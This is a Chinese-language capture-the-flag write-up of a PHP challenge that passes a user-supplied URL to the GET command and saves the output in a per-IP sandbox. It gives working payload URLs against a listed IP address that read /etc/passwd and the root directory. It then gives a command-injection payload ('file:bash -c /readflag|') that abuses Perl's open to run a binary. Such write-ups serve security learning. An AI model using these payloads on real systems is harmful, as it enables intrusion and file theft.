点开得到源代码,大概意思应该是先创建一个目录sandbox/md5(orange+你的ip),然后将传入的url使用GET命令去执行,再在解析filename参数,然后创建一个文件,并且将开始执行后的结果返回到这个文件。思路就是,先传访问一下?url=xx&filename=xxx,然后访问/sandbox/你的md5结果/xxx,看返回的结果。
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
接下来尝试读取/etc/passwd文件,可以看到读取成功。
http://117.50.3.97:8004/?url=/etc/passwd&filename=111
http://117.50.3.97:8004/sandbox/9872edb0e32d04659381b860b130a2b7/111
图片.png
然后读取根目录,可以看到flag文件和readflag文件。
http://117.50.3.97:8004/?url=/&filename=111
http://117.50.3.97:8004/sandbox/9872edb0e32d04659381b860b130a2b7/111
读取一下flag,读取不到。不慌,先读取readflag文件,下载下来用notepad++打开。看到文件头是ELF,搜索一下这是一个二进制,可执行的文件。也就是需要执行它来读取flag文件。
看了下大佬的wp,emmmm涉及到知识盲区了。
说perl的open命令有可能会导致命令执行,当GET使用file协议的时候就会调用到perl的open函数。payload如下
http://117.50.3.97:8004/?url=file:bash%20-c%20/readflag|&filename=111
http://117.50.3.97:8004/sandbox/9872edb0e32d04659381b860b130a2b7/111
图片.png
网友评论